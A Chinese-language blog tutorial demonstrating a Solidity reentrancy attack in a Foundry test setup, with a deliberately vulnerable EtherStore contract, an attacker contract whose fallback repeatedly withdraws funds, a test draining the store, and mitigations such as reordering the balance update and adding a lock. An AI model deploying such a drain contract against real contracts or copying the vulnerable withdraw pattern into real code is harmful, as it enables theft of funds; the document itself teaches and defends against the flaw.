重入攻击代码实现
Published: 2022-02-22 07:24:15

昨天写一篇，蜜罐的分析，我发现感兴趣的朋友还挺多，我也就多了解了一下这方面的知识，我发现重入攻击大家都是翻译的一个老外的文章，连代码都是提供的图片，我觉得有必要自己写代码来一遍。
重入就是利用solidity虚拟机的机制来进行攻击。

## 什么是重入攻击?

假设有两个合约A和合约B，合约A调用合约B。在这种攻击中，当第一个调用仍在执行时，合约B调用合约A，这在某种程度上导致了一个循环。

每当我们将以太坊发送到智能合约地址时，我们都会调用我们所说的fallback函数。

## fallback 函数的场景

1、调用函数找不到时

当调用的函数找不到时，就会调用默认的fallback函数。

2、send()函数发送ether

当我们使用address.send(ether to send)向某个合约直接转帐时，由于这个行为没有发送任何数据，所以接收合约总是会调用fallback函数。

我们这个例子就是用fallback 函数来连续调用，最终把合约里面的钱都转出来。

被攻击合约如下：

```
contract EtherStore {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds(uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        (bool send, ) = msg.sender.call{value: _weiToWithdraw}("");
        require(send, "send failed");
        balances[msg.sender] -= _weiToWithdraw;
    }
}
```

## 攻击环境构建

用我前几天发的Foundry来做这次演示，前面的入门在这里
[使用Foundry，感受快，rust对写合约的支持 | 登链社区 | 深入浅出区块链技术 (learnblockchain.cn)](https://learnblockchain.cn/article/3502)
构建一个测试用例：
写在src/test目录下
EtherStore.t.sol
1，部署合约

```
function setUp() public { //test类的 setup
        store = new EtherStore();
        attach = new EtherStoreAttach(address(store));
        cheats.deal(address(store), 5 ether);  //给合约5个eth
        cheats.deal(address(attach), 2 ether);  //给攻击者 2个eth
    }
```

cheats是Foundry内置的一个mock实例，可以干什么呢，比如上面就是给合约转钱。
我这里转了5个eth
参考里面有cheats的文档链接

2，构建攻击合约，也就是fallback函数

```
contract EtherStoreAttach is DSTest { //攻击合约
    EtherStore store;

    fallback() external payable {
        emit log_named_uint("fallback", address(store).balance);
        if (address(store).balance > 1 ether) {
            store.withdrawFunds(1 ether);
        }
    }

    constructor(address _store) public {
        store = EtherStore(_store);
    }

    function Attach() public {   //发起攻击函数
        store.deposit{value: 1 ether}();  //保证withdrawFunds初步检查不出问题
        emit log_named_uint("testAttach", address(store).balance);
        store.withdrawFunds(1 ether);
        emit log_named_uint("endAttach", address(store).balance);
    }
}
```

3、测试合约

```
function testAttach() public {
        emit log_named_uint("test start store", address(store).balance);
        try attach.Attach() {
            emit log_named_uint("test ok store", address(store).balance);
        } catch {
            emit log_string("catch");
        }
        emit log_named_uint("test end store", address(store).balance);
    }
```

![16438879961.png](https://img.learnblockchain.cn/attachments/2022/02/YYg6J89261fbbd857819c.png)
![16438880341.png](https://img.learnblockchain.cn/attachments/2022/02/wa5gxmdm61fbbda8400ab.png)

攻击开始，合约里有6个eth，最后剩下一个。

## 如何防范

网上别人都讲过多次了
1，交换的顺序，这个看起来最简单

```
balances[msg.sender] -= _weiToWithdraw;
(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");
```

2，给合约带锁
加合约成员，_lock变量，
加 modifier 守卫，给withdrawFunds函数加行的modifier 守卫
操作函数时加lock，其他再进入进不去就避免了重入

3，此代码仅在0.8版本一下的solidity能运行，所以问题没有了，看这里
[Exploring the new Solidity 0.8 Release (soliditydeveloper.com)](https://soliditydeveloper.com/solidity-0.8)
我这个代码要运行，需要这样
`pragma solidity ^0.7.0;`

## 参考

[重入| 破解 Solidity | 登链社区 | 深入浅出区块链技术 (learnblockchain.cn)](https://learnblockchain.cn/article/3392)
[Solidity Fallback函数详解 - 简书 (jianshu.com)](https://www.jianshu.com/p/932803ea26bb)
[Reentrancy | Hack Solidity #1. The motivation behind this article is… | by Zuhaib Mohammed | Jan, 2022 | CoinsBench](https://coinsbench.com/reentrancy-hack-solidity-1-aad0154a3a6b)
[Cheatcodes Reference - The Foundry Book (onbjerg.github.io)](https://onbjerg.github.io/foundry-book/reference/cheatcodes.html)